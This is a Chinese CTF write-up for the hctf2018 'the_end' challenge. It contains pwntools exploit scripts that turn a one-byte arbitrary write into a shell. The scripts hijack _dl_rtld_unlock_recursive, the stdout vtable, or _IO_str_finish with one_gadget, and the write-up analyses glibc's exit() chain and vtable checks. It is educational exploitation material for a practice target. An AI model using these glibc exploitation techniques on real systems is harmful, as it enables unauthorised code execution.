hctf2018_the_end 远程:2.27-3ubuntu1
每次往一个地址里面写1字节,给了libc
_dl_rtld_unlock_recursive/_dl_rtld_lock_recursive 往libc中写入数据,通过exit退出,打exithook,用one_gadget来获取shell
我们劫持ld中rtld_global结构体的_dl_rtld_unlock_recursive/_dl_rtld_lock_recursive
最后打的是_dl_rtld_unlock_recursive _dl_rtld_lock_recursive没通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *from tw11ty import *if __name__ == '__main__' : context.log_level = 'info' IPort = 'node5.buuoj.cn 28004' pwnfile = './the_end' libc_name = '/ctf/work/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name) io = init(pwnfile, IPort, libc_name) ru(b'0x' ) libc_base = int (r(12 ), 16 ) - libc.sym['sleep' ] one_gadget = [0x4f2c5 , 0x4f322 , 0x10a38c , 0xe569f , 0xe5858 , 0xe585f , 0xe5863 , 0x10a398 ] one = libc_base + one_gadget[7 ] ori0 = one & 0xff ori1 = one>>8 & 0xff ori2 = one>>16 & 0xff ori3 = one>>24 & 0xff ori4 = one>>32 & 0xff leak("one_gadget" , one) print (hex (ori0)) print (hex (ori1)) print (hex (ori2)) print (hex (ori3)) print (hex (ori4)) IO_file_overflow = 0x3e82b8 + libc_base IO_file_underflow = 0x3e82c0 + libc_base dl_rtld_lock_recursive = 0x619f60 + libc_base dl_rtld_unlock_recursive = 0x619f68 + libc_base leak("IO_file_overflow" , IO_file_overflow) ru(b' good luck ;)\n' ) s(p64(dl_rtld_unlock_recursive)) s(p8(ori0)) s(p64(dl_rtld_unlock_recursive+1 )) s(p8(ori1)) s(p64(dl_rtld_unlock_recursive+2 )) s(p8(ori2)) s(p64(dl_rtld_unlock_recursive+3 )) s(p8(ori3)) s(p64(dl_rtld_unlock_recursive+4 )) s(p8(ori4)) itr()
fini_array 如果没开pie和RELRO的话直接改fini_array为one_gadget打了,不过这种题目很少了
_IO_flush_all_lockp/ _IO_unbuffer_all () 我们分析一下exit的调用链
正常调用链:exit –> __run_exit_handlers –> _exit -> INLINE_SYSCALL
在调用__run_exit_handlers 时,会触发 RUN_HOOK (__libc_atexit, ()); 调用libc退出时的析构函数__libc_atexit,位于__libc_atexit段上,里面默认只有一个函数fcloseall()
1 2 3 4 5 6 7 8 9 10 11 __libc_atexit:00000000003E7738 ; =========================================================================== __libc_atexit:00000000003E7738 __libc_atexit:00000000003E7738 ; Segment type: Pure data __libc_atexit:00000000003E7738 ; Segment permissions: Read/Write __libc_atexit:00000000003E7738 __libc_atexit segment qword public 'DATA' use64 __libc_atexit:00000000003E7738 assume cs:__libc_atexit __libc_atexit:00000000003E7738 ;org 3E7738h __libc_atexit:00000000003E7738 off_3E7738 dq offset fcloseall_0 ; DATA XREF: sub_42ED0+202↑o __libc_atexit:00000000003E7738 ; __libc_freeres+28↑o __libc_atexit:00000000003E7738 __libc_atexit ends __libc_atexit:00000000003E7738
fcloseall.c
1 2 3 4 5 6 int __fcloseall (void ) { return _IO_cleanup (); }
genops.c
1 2 3 4 5 6 7 8 9 10 11 int _IO_cleanup (void ) { int result = _IO_flush_all_lockp (0 ); _IO_unbuffer_all (); return result; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int _IO_flush_all_lockp (int do_lock) { int result = 0 ; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL ; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 ); #endif return result; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 static void _IO_unbuffer_all (void ) { FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp; fp = fp->_chain) { int legacy = 0 ; #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) if (__glibc_unlikely (_IO_vtable_offset (fp) != 0 )) legacy = 1 ; #endif if (! (fp->_flags & _IO_UNBUFFERED) && (legacy || fp->_mode != 0 )) { #ifdef _IO_MTSAFE_IO int cnt; #define MAXTRIES 2 for (cnt = 0 ; cnt < MAXTRIES; ++cnt) if (fp->_lock == NULL || _IO_lock_trylock (*fp->_lock) == 0 ) break ; else __sched_yield (); #endif if (! legacy && ! dealloc_buffers && !(fp->_flags & _IO_USER_BUF)) { fp->_flags |= _IO_USER_BUF; fp->_freeres_list = freeres_list; freeres_list = fp; fp->_freeres_buf = fp->_IO_buf_base; } _IO_SETBUF (fp, NULL , 0 ); if (! legacy && fp->_mode > 0 ) _IO_wsetb (fp, NULL , NULL , 0 ); #ifdef _IO_MTSAFE_IO if (cnt < MAXTRIES && fp->_lock != NULL ) _IO_lock_unlock (*fp->_lock); #endif } if (! legacy) fp->_mode = -1 ; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 ); #endif }
利用__IO_cleanup时,可利用的函数有_IO_flush_all_lockp与_IO_unbuffer_all
其中可以伪造_IO_flush_all_lockp中的_IO_overflow,伪造_IO_unbuffer_all中的_IO_setbufk
那么首先我们需要伪造*vtable指向一个可写地址
由于libc版本>2.24,存在_IO_vtable_check
_IO_vtable_check libioP.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void _IO_vtable_check (void ) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable;
我们需要绕过if (__glibc_unlikely (offset >= section_length))的check,就需要 ptr - __start___libc_IO_vtables >= __stop___libc_IO_vtables - __start___libc_IO_vtables,即ptr要在__start___libc_IO_vtables到__stop___libc_IO_vtables之间(该范围被设置为了不可写)
那我们尝试打io_str_finish
调用链子: __run_exit_handlers –> __fcloseall –> _IO_cleanup –> _IO_flush_all_lockp –> _IO_OVERFLOW(_IO_finish_t)
先用两次修改次数,来将stdout.vtable指向&_IO_str_jumps-8,这样exit在调用_IO_flush_all_lockp时会执行_IO_str_finish,而不是_IO_overflow
修改((_IO_strfile *) fp)->_s._free_buffer 为 one_gadget 地址, 触发程序执行 _IO_str_finish函数就可以得到 shell,但是由于存在绕过的要求,不够写
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
绕过:
要满足 fp->_IO_buf_base 不为空,并且由于它作为 fp->_s._free_buffer 的第一个参数,因此可以使用 /bin/sh 的地址。 fp->_flags 要不包含_IO_USER_BUF,它的定义为 #define _IO_USER_BUF 1,即 fp->_flags 最低位为 0 。 缓冲区需要有数据,即 _IO_write_base < _IO_write_ptr 。 _mode 需要小于等于 0 。
_flags &= -1
_IO_write_base < _IO_write_ptr
*vtable = &_IO_str_jumps - 0x8
_free_buffer = one_gadget
_IO_write_ptr 需要写一次,*vtable = &_IO_str_jumps - 0x8 需要写两次,_free_buffer = one_gadget需要改三次,行不通
如果能有六次写的机会的话,就能打_IO_flush_all_lockp
改另一条链子 __run_exit_handlers –> __fcloseall –> _IO_cleanup –> _IO_unbuffer_all –> _IO_setbuf,下面这个博客所示方法
2018 HCTF the_end - 简书 (jianshu.com)
由于原题是2.23的,所以能任意伪造vtable地址到任意地址
利用的是在程序调用 exit
后,会遍历_IO_list_all
,调用_IO_2_1_stdout_
下的vatable
中_setbuf
函数.
可以先修改两个字节在当前vtable
附近伪造一个fake_vtable
,然后使用 3 个字节修改fake_vtable
中_setbuf
的内容为one_gadget
.
本地patch 2.23
将vtable迁移到可写段上,我们可以改 _IO_OVERFLOW\_IO_SETBUF为one_gadget,最后执行链子1\2获取shell
设置目标作为_IO_OVERFLOW\_IO_SETBUF,通过偏移函数在虚表中的偏移来计算得到fake_vtable_addr
打_IO_SETBUF,成功执行到one_gadget了,但是栈的问题没有执行,试了几个都没用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *from tw11ty import *if __name__ == '__main__' : context.log_level = 'info' IPort = 'node5.buuoj.cn 28004' pwnfile = './the_end' libc_name = '/ctf/work/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name) io = init(pwnfile, IPort, libc_name) ru(b'0x' ) libc_base = int (r(12 ), 16 ) - libc.sym['sleep' ] one_gadget = [0x45226 , 0x4527a , 0xf03a4 , 0xf1247 , 0xcd173 , 0xcd248 , 0xf03a4 , 0xf03b0 , 0xf1247 , 0xf67f0 ] one = libc_base + one_gadget[0 ] ori0 = one & 0xff ori1 = one>>8 & 0xff ori2 = one>>16 & 0xff ori3 = one>>24 & 0xff ori4 = one>>32 & 0xff leak("one_gadget" , one) print (hex (ori0)) print (hex (ori1)) print (hex (ori2)) print (hex (ori3)) print (hex (ori4)) stdout_vtable = libc_base + 0x3c56f8 fake_vtable_addr = libc_base + 0x3c5588 setbuf = libc_base + 0x3c55e0 leak("stdout_vtable" , stdout_vtable) leak("fake_vtable" , fake_vtable_addr) debug("b _IO_flush_all_lockp" ) s(p64(stdout_vtable)) s(p8(fake_vtable_addr&0xff )) s(p64(stdout_vtable+1 )) s(p8(fake_vtable_addr>>8 &0xff )) s(p64(setbuf)) s(p8(ori0)) s(p64(setbuf+1 )) s(p8(ori1)) s(p64(setbuf+2 )) s(p8(ori2)) leak("libc_base" , libc_base) itr()
打_IO_OVERFLOW的话需要缓冲区有数据,这里需要多利用一字节修改,所以不可行。
总结: 这道题如果没开pie和RELRO可以用fini_array来打
如果能多写一字节可以利用_IO_OVERFLOW,io_str_finish
这道题涉及了exit()函数的调用链、较高版本的IO利用,是一道值得思考的题目
续:io_str_finish 试试io_str_finish打,给文件打补丁,需要多写一字节来修改_IO_write_ptr指针
将0x837df404修改成0x837df405
2.27_3.1 patch
可惜one_gadget得到的gadget都用不了,试着在libc里面找也没找到合适的gadget
_IO_2_1_stdout_{
_flag &= -1
IO_write_base < IO_write_ptr
_IO_buf_base = &_bin_sh
_modle <= 0
*vtable = &_IO_str_jumps - 0x8 ==> __IO_overflow -> _IO_finish_t
}
stdout_str_fields = system(one_gadget)
调用链: __run_exit_handlers –> __fcloseall –> _IO_cleanup –> _IO_flush_all_lockp –> _IO_OVERFLOW(_IO_finish_t)
如果还有个任意地址写多字节的话往_IO_buf_base = &_bin_sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *from tw11ty import *def pwn1 (): dl_rtld_lock_recursive = 0x619f60 + libc_base dl_rtld_unlock_recursive = 0x619f68 + libc_base ru(b' good luck ;)\n' ) s(p64(dl_rtld_unlock_recursive)) s(p8(ori0)) s(p64(dl_rtld_unlock_recursive+1 )) s(p8(ori1)) s(p64(dl_rtld_unlock_recursive+2 )) s(p8(ori2)) s(p64(dl_rtld_unlock_recursive+3 )) s(p8(ori3)) s(p64(dl_rtld_unlock_recursive+4 )) s(p8(ori4)) if __name__ == '__main__' : context.log_level = 'info' IPort = 'node5.buuoj.cn 28004' pwnfile = './the_end_5' libc_name = '/ctf/work/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name) io = init(pwnfile, IPort, libc_name) ru(b'0x' ) libc_base = int (r(12 ), 16 ) - libc.sym['sleep' ] one_gadget = [0x4f2c5 , 0x4f322 , 0x10a38c , 0xe569f , 0xe5858 , 0xe585f , 0xe5863 , 0x10a398 ] one = libc_base + one_gadget[7 ] ori0 = one & 0xff ori1 = one>>8 & 0xff ori2 = one>>16 & 0xff ori3 = one>>24 & 0xff ori4 = one>>32 & 0xff leak("one_gadget" , one) print (hex (ori0)) print (hex (ori1)) print (hex (ori2)) print (hex (ori3)) print (hex (ori4)) stdout_vtable = libc_base + 0x3ec838 stdout_free_buffer = libc_base + 0x3ec848 fake_vtable = libc_base + 0x3e8360 - 8 stdout_IO_write_ptr = libc_base + 0x3ec788 leak("stdout_vtable" , stdout_vtable) leak("fake_vtable" , fake_vtable) leak("stdout_free_buffer" , stdout_free_buffer) debug("b _IO_str_finish" ) s(p64(stdout_vtable)) s(p8(fake_vtable&0xff )) s(p64(stdout_vtable+1 )) s(p8(fake_vtable>>8 &0xff )) s(p64(stdout_free_buffer)) s(p8(ori0)) s(p64(stdout_free_buffer+1 )) s(p8(ori1)) s(p64(stdout_free_buffer+2 )) s(p8(ori2)) s(p64(stdout_IO_write_ptr)) s(p8(0xff )) itr()
libc-2.28 版本起 _IO_str_finish 不再调用 _free_buffer 而是直接是直接调用 free ,因此该方法失效。
2.34以下可以利用 IO_validate_vtable 劫持程序流,自 glibc-2.24 起在调用 vtable 中的函数前会调用 IO_validate_vtable 检查 vtable 执向的 _IO_jump_t 的地址是否合法,如果如果 rtld_active 返回 true(具体看调试,因为可能存在GLRO(dl_init_all_dirs)不可写且为 NULL 的情况)则会调用 _dl_addr,最终执行 __rtld_lock_lock_recursive (GL(dl_load_lock)) 2.34失效
参考博客:linux IO_FILE 利用_io list all结构体-CSDN博客
exit()分析与利用-安全客 - 安全资讯平台 (anquanke.com)